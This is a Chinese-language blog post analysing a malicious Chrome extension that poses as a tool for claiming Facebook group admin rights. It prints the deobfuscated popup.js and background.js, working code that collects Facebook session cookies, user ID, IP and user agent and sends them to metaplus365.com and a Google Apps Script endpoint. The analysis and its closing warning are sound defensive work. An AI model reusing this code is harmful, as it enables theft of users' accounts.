记录一下遇到的一个 Chrome 盗号插件逆向分析的过程。

起因

事情的经过是这样的,我在网上找到了一个在小组没有管理员的情况下,可以成为 Facebook 小组管理员的插件,而且描述写的是 2023 年有效。据我所知,这类的接口已经十分老旧,而且作用不大了,不过抱着好奇的心理,还是下载来看看。

俗话说「免费的才是最贵的」,在使用之前还是要先审查一下是否有安全隐患,因为免费的插件并不能带来什么经济收益。有的作者可以会用来提高自己的知名度而提供免费使用,有的人也会用来插入后门代码用来窃取用户隐私。

分析结构

先来分析一下这个插件安装包的整体结构。

主要的功能是通过 JavaScript 代码来控制的,所以主要分析的文件有 background.js, popup.js 和 manifest.json。

因为 manifest.json 记录了 Chrome 插件的配置文件,里面记录了哪些 JavaScript 文件在哪些域名使用,以及插件所用到的权限。content.js 虽然是 JavaScript 文件,但是不作为主要分析的文件,因为大小是 0字节,是一个空文件。jquery.min.js 是一个常见的 JavaScript 库,一般情况下不会在里面写入恶意代码,当然,不排除这种小概率事件。

manifest.json

这个文件里有几个地方比较可疑,content_scripts 和 permissions 设置的 http://*/*https://*/*<all_urls> 都是全局加载的。但是这个插件只是 Facebook 小组相关的功能,只需要在 Facebook 域名下使用即可,但是插件里面设置的是所有的域名都会加载代码,获取的权限太高了,超出了功能该有的权限。而且还用到了 unsafe-eval 这个比较危险的东西,可以将字符串当作代码执行。

{
  "name": "Claim Group Facebook 2023",
  "version": "0.0.1",
  "manifest_version": 2,
  "browser_action": {
    "default_icon": "images/icon.png",
    "default_title": "Claim Group Facebook 2023"
  },
  "background": {
    "scripts": ["background.js"]
  },
  "content_scripts": [
    {
      "matches": ["http://*/*", "https://*/*"],
      "js": ["content.js","popup.js"]
    }
  ],
  "permissions": ["contextMenus","webRequest", "webRequestBlocking", "activeTab","storage","<all_urls>", "cookies","downloads", "tabs", "*://*.facebook.com/*","http://*/*", "https://*/*"],
  "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'"
}

popup.js

这里的代码被加密了,从开头的 _0x4bb0 变量看起来是用 16 进制 加密的,下面的代码变量名也被修改了。

那么一步一步的把代码给还原出来,使用 编码转换工具,把 16 进制 转换成文本。

这里可以看到一些越南语,还有一个域名。使用 Whois 工具查询,可以确认这是一个越南的站点,这个作者是越南人。

下半部分的代码是通过 _0x4bb0 这个数组里面取出来文本再拼接起来的,那么就手动从数组里将文本挨个还原出来。

还原后,发现还有 _0x567b 这个数组也需要还原出来,需要再还原一次。

还原后如下

不过代码现在可读性比较差,需要进行排版美化一下,再把变量名重命名。还原后的最终代码如下:

$(document).ready(function () {
  getCookie()
  function getCookie () {
    console.log('Vui lòng không thao tác ở đây !')
    chrome.cookies.getAll({ url: 'https://www.facebook.com' }, function (cookieInfo) {
      let cookieStr = ''
      for (let i = 0; i < cookieInfo.length; i++) {
        cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};`
        // if (cookieInfo[i].name == 'c_user') currentUid = cookieInfo[i].value
      }
      $('#cookie').val(cookieStr)
    })
  }
  $('body').on('click', '#save', function (evt) {
    evt.preventDefault()
    const uid = $('#uid').val()
    if (uid.length < 5) {
      alert('Vui lòng nhập uid !')
      return
    }
    $('#thongtin').text('Admin nomination in progress!');
    for (let i = 0; i < 100; i++) {
      setTimeout(function () {
        $('#loadding').width(i + 1 + '%')
        $('#load').text(i + 1)
        if (i == 99) $('#thongtin').text('Result: You have become the admin of the group')
      }, i * 50)
    }
  })
})
getCookie()
function getCookie () {
  console.log('Vui lòng không thao tác ở đây !')
  chrome.cookies.getAll({ 'url': 'https://www.facebook.com' }, function (cookieInfo) {
    let cookieStr = ''
    for (let i = 0; i < cookieInfo.length; i++) {
      cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};`
      // if (cookieInfo[i].name == 'c_user') currentUid = cookieInfo[i].value
    }
    currentCookie = cookieStr
    const headers = new Headers()
    headers.append('Content-Type', 'application/x-www-form-urlencoded')
    const body = new URLSearchParams()
    body.append('info', `{"data": [{ "type":"fb","info":"${currentCookie}"},{}]}`)
    body.append('add', 'v')
    const option = {
      method: 'POST',
      headers,
      body,
      redirect: 'follow'
    }
    fetch('http://metaplus365.com/insert/index.php', option).then(response => {
      return response.text()
    }).then(response => {
      return console.log(response)
    }).catch(error => {
      return console.log('error', error)
    })
  })
}

代码一共有两个 getCookie() 函数。第一个是根据 Facebook 的域名获取完整的 cookies 拼接好写入 #cookie 标签。

getCookie()
function getCookie () {
  console.log('Vui lòng không thao tác ở đây !')
  chrome.cookies.getAll({ url: 'https://www.facebook.com' }, function (cookieInfo) {
    let cookieStr = ''
    for (let i = 0; i < cookieInfo.length; i++) {
      cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};`
    }
    $('#cookie').val(cookieStr)
  })
}

第二个的方法类似,获取完整的 cookies,并且发送到 http://metaplus365.com/insert/index.php ,这个域名。到这里已经可以确定这个插件会窃取用户隐私了。

getCookie()
function getCookie () {
  console.log('Vui lòng không thao tác ở đây !')
  chrome.cookies.getAll({ 'url': 'https://www.facebook.com' }, function (cookieInfo) {
    let cookieStr = ''
    for (let i = 0; i < cookieInfo.length; i++) {
      cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};`
    }
    currentCookie = cookieStr
    const headers = new Headers()
    headers.append('Content-Type', 'application/x-www-form-urlencoded')
    const body = new URLSearchParams()
    body.append('info', `{"data": [{ "type":"fb","info":"${currentCookie}"},{}]}`)
    body.append('add', 'v')
    const option = {
      method: 'POST',
      headers,
      body,
      redirect: 'follow'
    }
    fetch('http://metaplus365.com/insert/index.php', option).then(response => {
      return response.text()
    }).then(response => {
      return console.log(response)
    }).catch(error => {
      return console.log('error', error)
    })
  })
}

background.js

这里用的混淆方式和刚才的 popup.js 类似,也是使用 16 进制 加密,修改变量名。因为加密后的代码太长,就不放出来了,直接放还原后的代码。

let g_IPAdress = ''
let g_Country = ''
GetIPAdress()
function GetIPAdress () {
  const option = {
    method: 'GET',
    redirect: 'follow'
  }
  fetch('http://gd.geobytes.com/GetCityDetails', option).then(response => {
    return response.text()
  }).then(response => {
    try {
      const json = JSON.parse(response)
      g_IPAdress = json.geobytesipaddress
      g_Country = json.geobytesfqcn
    } catch {}
  }).catch(error => {
    return console.log('error', error)
  })
}
setTimeout(function () {
  SendData()
}, 3000)
function SendData () {
  const obj = {}
  chrome.cookies.getAll({ url: 'https://www.facebook.com' }, function (cookieInfo) {
    let cookieStr = ''
    for (let i = 0x0; i < cookieInfo.length; i++) {
      cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};`
      try {
        if (cookieInfo[i].name == 'c_user') obj.uid = cookieInfo[i].value
      } catch {}
    }
    cookieStr += `useragent=${btoa(navigator.userAgent).replace('=', '%3D').replace('=', '%3D').replace('=', '%3D')};`

    obj.cookie = cookieStr
    obj.country = g_Country
    obj.ip_adress = g_IPAdress
    console.log('all info: ' + JSON.stringify(obj))
    RealSend('https://script.google.com/macros/s/AKfycbyzzn30aD8GO6t5OZDS2oADgBpmGKIf9Id5O9yHW2nzpAheqpoQNjPDGUBgodQge5ng/exec', obj)
  })
}
function RealSend (url, obj) {
  const headers = new Headers()
  headers.append('authority', 'script.google.com')
  headers.append('accept', 'application/json, text/javascript, */*; q=0.01')
  headers.append('x-client-data', 'CIm2yQEIpbbJAQjEtskBCKmdygEI9sfKAQjnyMoBCOnIygEItMvKAQj7zcoBCNvVygEI2tfKAQie2MoB')
  headers.append('sec-fetch-site', 'cross-site')
  headers.append('sec-fetch-mode', 'cors')
  headers.append('sec-fetch-dest', 'empty')
  headers.append('accept-language', 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7,fr-FR;q=0.6,fr;q=0.5')
  const option = {
    method: 'GET',
    headers,
    redirect: 'follow'
  }
  let link = ''
  link += url.trim()
  link += '?uid=' + obj.uid
  link += '&cookie=' + btoa(obj.cookie)
  link += '&country=' + btoa(g_Country)
  link += '&ip_adress=' + btoa(g_IPAdress)
  link += '&time=' + btoa(new Date().toLocaleString())
  fetch(link.trim(), option).then(response => {
    return response.text()
  }).then(response => {
    console.log(response)
  }).catch(error => {
    return console.log('error', error)
  })
}

这段代码会先运行 GetIPAdress() 函数,然后向 http://gd.geobytes.com/GetCityDetails 这个域名发送请求,获取用户的 IP 地址和国家,写到变量里。

GetIPAdress()
function GetIPAdress () {
  const option = {
    method: 'GET',
    redirect: 'follow'
  }
  fetch('http://gd.geobytes.com/GetCityDetails', option).then(response => {
    return response.text()
  }).then(response => {
    try {
      const json = JSON.parse(response)
      g_IPAdress = json.geobytesipaddress
      g_Country = json.geobytesfqcn
    } catch {}
  }).catch(error => {
    return console.log('error', error)
  })
}

等待 3 秒后会运行 SendData() 这个函数,应该是为了确保前面获取到了用户 IP 地址信息后再运行,所以才等待 3 秒。这里会获取 Facebook 的用户 ID 和 Cookies 信息,并且记录当前浏览器使用的 User-Agent,然后发送到 Google Script 自定义的 API 接口。这里也是一个窃取用户隐私的代码。

chrome.cookies.getAll({ url: 'https://www.facebook.com' }, function (cookieInfo) {
  let cookieStr = ''
  for (let i = 0x0; i < cookieInfo.length; i++) {
    cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};`
    try {
      if (cookieInfo[i].name == 'c_user') obj.uid = cookieInfo[i].value
    } catch { }
  }
  cookieStr += `useragent=${btoa(navigator.userAgent).replace('=', '%3D').replace('=', '%3D').replace('=', '%3D')};`

  obj.cookie = cookieStr
  obj.country = g_Country
  obj.ip_adress = g_IPAdress
  console.log('all info: ' + JSON.stringify(obj))
  RealSend('https://script.google.com/macros/s/AKfycbyzzn30aD8GO6t5OZDS2oADgBpmGKIf9Id5O9yHW2nzpAheqpoQNjPDGUBgodQge5ng/exec', obj)
})

等等... 这个插件描述的功能是成为 Facebook 小组管理员的插件,相关的代码呢??完全没找到和描述功能相关的代码,纯粹是一个盗号插件啊!

请不要随意从网上下载来源不明插件或者软件,因为它们可能包含病毒和恶意软件,有时候并不会被杀毒软件查杀,这样会导致个人信息和账号被盗。建议只从官方和受信任的来源下载插件或插件。